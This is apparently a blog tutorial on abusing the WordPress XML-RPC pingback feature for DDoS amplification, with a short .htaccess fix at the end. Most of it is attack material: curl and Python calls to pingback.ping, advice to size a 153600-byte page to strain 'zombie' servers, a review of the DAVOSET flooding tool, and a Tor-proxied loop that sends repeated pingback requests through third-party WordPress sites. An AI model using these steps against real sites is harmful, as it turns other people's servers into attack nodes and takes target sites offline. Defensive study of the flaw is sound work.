Table of Contents
Are you feeling secure with your current WordPress configuration?
I have a feeling that you may think about it right now.
I will show you how to perform an attack in a minute but before that let me explain you a little what kind of technology we are discussing so you can get the background.
XML-RPC is a Remote Procedure Call method that uses XML passed via HTTP as a transport. With it, a client can call methods with parameters on a remote server and get back structured data like list of users, pages, comments etc bypassing manual login through the “wp-login.php” page.
Here are some of the key purposes:
- Remote Blog Management: XML-RPC enables data transmission, with HTTP acting as the transport mechanism and XML as the encoding mechanism. This allows users to manage their WordPress sites from remote locations or different devices tasks such as creating, editing, and deleting posts, uploading media files, managing comments, and fetching user details
- Trackbacks and Pingbacks: XML-RPC is used to enable trackbacks and pingbacks from other sites.
However, with the advent of the REST API, XML-RPC has largely been superseded. The REST API offers significantly more compatibilities and flexibility, and is now the preferred method for enabling WordPress to interact with other systems.
Why it is dangerous?
By default, WordPress has Pingbacks activated, facilitate with XML-RPC interface.
To verify if your website has it, check
yoursite.com/xmlrpc.php
If working this process can involve your server unknowingly participating in an attack on another server. Essentially, an entity claims a URL linked to your blog, triggering a “pingback” from your site without verifying the link’s authenticity. When repeated across multiple vulnerable WordPress sites, it results in a DDoS attack.
At the end websites having XML-RPC become a zombie nodes for the hacker.
“How WordPress XML-RPC Pingback DDoS Attack Works? Is It Only Valid If Site Has Heavy Processing Behind Call?”
WordPress XML-RPC Pingback is a feature that allows one blog to notify another blog when it has been mentioned via a link. While this feature can be useful for inter-blog communication, it can also be exploited to conduct a Distributed Denial of Service (DDoS) attack.
Here’s how a WordPress XML-RPC Pingback DDoS attack works:
The attacker identifies a WordPress site that has XML-RPC Pingback enabled: This is typically done by sending a simple HTTP request to the
/xmlrpc.php
endpoint of the site and checking the response.The attacker sends a malicious XML-RPC Pingback request to the WordPress site: This request specifies the target site as the source of the Pingback, tricking the WordPress site into sending an HTTP request to the target site.
The WordPress site sends an HTTP GET request to the target site: This is done to verify the existence of the Pingback. The request can be quite resource-intensive, as it requires the target site to load a full page.
The attacker repeats this process using multiple WordPress sites: By doing this, the attacker can generate a large number of requests to the target site, potentially overloading its server and causing a denial of service.
It’s important to note that the effectiveness of a WordPress XML-RPC Pingback DDoS attack can depend on the resources available to the target site. If the target site has a large amount of bandwidth and processing power, it may be able to handle the increase in traffic without any noticeable impact. However, if the target site is running on limited resources, or if the attacker is able to use a large number of WordPress sites to generate a high volume of traffic, the attack could potentially cause the target site to slow down or crash.
How to Prevent DDoS Attacks on WordPress site?
“Does It Mean That Victim Of This Attack Can Have XML-RPC Pingback Disabled?”
Yes, the victim site in a WordPress XML-RPC Pingback DDoS attack can still be targeted even if they have XML-RPC Pingback disabled on their own site. The key factor here is that the WordPress sites being used to conduct the attack (the “zombie” sites) have XML-RPC Pingback enabled.
In this type of attack, the attacker doesn’t directly use the victim site’s XML-RPC Pingback feature. Instead, they misuse the feature on other WordPress sites to generate traffic to the victim site. The victim site just receives the incoming HTTP GET requests, which are standard web requests that any web server must be able to handle.
Therefore, while disabling XML-RPC Pingback on your own WordPress site can help protect it from being used as a “zombie” in an attack against others, it won’t directly protect against being the victim of such an attack. To protect against being targeted, other measures would be needed, such as implementing rate limiting, using DDoS protection services, or closely monitoring traffic for unusual patterns.
Making simple call to know how it works
First check what are available methods. XML-RPC calls combine XML content and HTTP headers. The XML part specifies parameters and procedure details, while the HTTP headers facilitate web transmission. Each request consists of a single XML document with a root element called methodCall Inside, there’s a methodName identifying the procedure and a params section containing parameter values. The params section includes a list of param elements, each with a value.
cat <getmethods.xml
system.listMethods
EOF
curl -vv -H "Content-Type: text/xml" --data @getmethods.xml -XPOST https://website.com/xmlrpc.php
it will return long list, for methods like wp.getPosts you need username and password otherwise no access. But for method like pingback.*, system.* ,demo.* and some mt.* you do not need to be authenticated.
Definitions of methods you can find out on WordPress developer site.
Now if you would like to write python client then you can use below code
import xmlrpc.client
# Step 1: Establish a connection to the server
server_url = "https://somesite.com/xmlrpc.php"
server = xmlrpc.client.ServerProxy(server_url)
# Step 2: Call a method on the server
# Let's assume the server provides a method called 'get_data'
try:
result = server.wp.getPosts('1','your_username', 'your_password')
print(result)
except Exception as e:
print(f"An error occurred: {e}")
This Python script uses the ‘xmlrpc.client’ module to interact with a remote XML-RPC server. Here’s a breakdown of what the code does:
- Establish a connection to the server:
The ‘ServerProxy’ class is used to establish a connection to the server at the URL specified by ‘server_url’. This object, ‘server’, represents the server and can be used to call methods on it. - Call a method on the server:
The script attempts to call the ‘getPosts’ method on the server. This method is part of the WordPress API and is used to retrieve posts from a WordPress site. The parameters ‘1’, ‘your_username’, and ‘your_password’ are placeholders and should be replaced with the actual blog ID, username, and password, respectively. User should have role at least ‘editor’ to be able to get post.
The results of the `getPosts` method call are then printed.
If an error occurs during the method call (for example, if the server is unreachable or if the provided username and password are incorrect), the script catches the exception and prints an error message.
Remember, this script will only work if the server at `server_url` is a WordPress server that has XML-RPC enabled and provides the `getPosts` method. If the server is not a WordPress server or does not provide this method, the script will fail.
This is a basic example of how to use the `xmlrpc.client` module to interact with an XML-RPC server. Depending on the server and its API, you may be able to call other methods and perform other actions. Always refer to the server’s API documentation for more information. For reference you can checkout this wordpress API docs
Study pingback from vulnerability perspective
Here’s an example of how you might use the pingback.ping method in Python:
import xmlrpc.client
# Step 1: Establish a connection to the server
server_url = "https://site.com/xmlrpc.php"
server = xmlrpc.client.ServerProxy(server_url)
# Step 2: Call the pingback.ping method on the server
source_uri = "http://yourwebsite.com/post1" # The URL of the post on your site that's linking to the target site
target_uri = "https://targetwebsite.com/post2" # The URL of the post on the target site that you're linking to
try:
response = server.pingback.ping(source_uri, target_uri)
print(response)
except Exception as e:
print(f"An error occurred: {e}")
Every time targetwebsite server is checking that yourwebsite actually contain link. This happened by loading content of yourwebsite and parsing it looking for target_uri so this can be used to run multiple GET connections through yours pingback xmlrpc server and such servers of other people causing DDoS attack in result. Note that targetwebsite.com/post2 must be valid URL to blog post, otherwise server will check that link is invalid and no further call to targetwebsite will be done.
Same you can run with curl
cat < request.xml
pingback.ping
https://webhook.site/a0389794-43e9-4384-b2ef-d7d4dbede2b0
https://website.com/real-and-existing-post-url
EOF
curl -vv -H "Content-Type: text/xml" --data @request.xml https://website.com/xmlrpc.php
result you can see on website like webhook site. It will display all incoming connections and guess what – from website that has xmlrpc enabled.
That was scenerio when you can make your zombies connect to external target website in order to generate high traffic, kinda DDoS attack.
Heavy file to parse – attack on zombie
In case zombie is not obedient anymore and you want to bull it then think about it – xmlrpc is checking provided website to confirm that it contain valid URL to blog post therefore if you provide few gigabyte html file to download and process it should kill this process,right?. Not exactly, different version of wordpress can has different setup , for example look at below code from class-wp-xmlrpc-server.php
// Let's check the remote site.
$http_api_args = array(
'timeout' => 10,
'redirection' => 0,
'limit_response_size' => 153600, // 150 KB
'user-agent' => "$user_agent; verifying pingback from $remote_ip",
'headers' => array(
'X-Pingback-Forwarded-For' => $remote_ip,
),
);
$request = wp_safe_remote_get( $pagelinkedfrom, $http_api_args );
$remote_source = wp_remote_retrieve_body( $request );
$remote_source_original = $remote_source;
To verify pingback maximum 150KB will be retrieved, no redirection and 10 seconds of timeout are the constraints. If the response size limit is set to 150KB and the URL being searched for is beyond this limit in the source document (like at the end of a very long post over 160KB), then the URL would not be included in the downloaded content and the verification for the pingback would fail. The script would not be able to find the URL and would likely return an error saying that the source URL does not contain a link to the target URL.
So for every attack so important is to check WordPress version and then matching source code. In the case above you would rather prepare 153600 byte html document to refer to in order to utilize properly php server of your zombie.
150KB multiplied by 10000 connections will end up in 1.5GB to process and that can affect server.
Known hacking tools
Davoset
This Perl script written by Ukrainians is keep on mentioned over Internet although repository is not updated since years and contain outdated list of servers with pingback feature. Therefore you have to prepare your own resources.
For me this script does not work and is outdated but many blogs keep on mentioning it so I wanted to review it due to that reason.
Structure is pretty simple:
- davoset.pl – perl script uses zombie servers to conduct attacks on specified sites via XML-RPC calls.
- list_full.txt – list of zoombies, although outdated
- WordPress.txt – XML file to be used for call xml-rpc.php
That’s in theory but in practice you would rather write your own script.
Curl command
to use curl start Tor so you can proxy on localhost 9050 and then one liner
cat <xmlfile.xml
pingback.ping http://source http://target
EOF
for x in {1..100}; do curl --proxy socks5h://127.0.0.1:9050 -vv -H "Content-Type: text/xml" --data @xmlfile.xml https://someZombieSite.com/xmlrpc.php ; done
I must admit that using Tor proxy against hostinger servers gave me error.
So there is some good protection.
Fix this vurneability
Disable Access to xmlrpc.php
inside public_html edit file .htaccess and put there code
# Block WordPress xmlrpc.php requests
order deny,allow
deny from all
After you save the file nobody can use xmlrpc on your site again.
Final thoughts
It’s important to disable this XML-RPC feature and keep your knowledge updated so bookmark this blog and stay tuned for more.
Have a nice coding!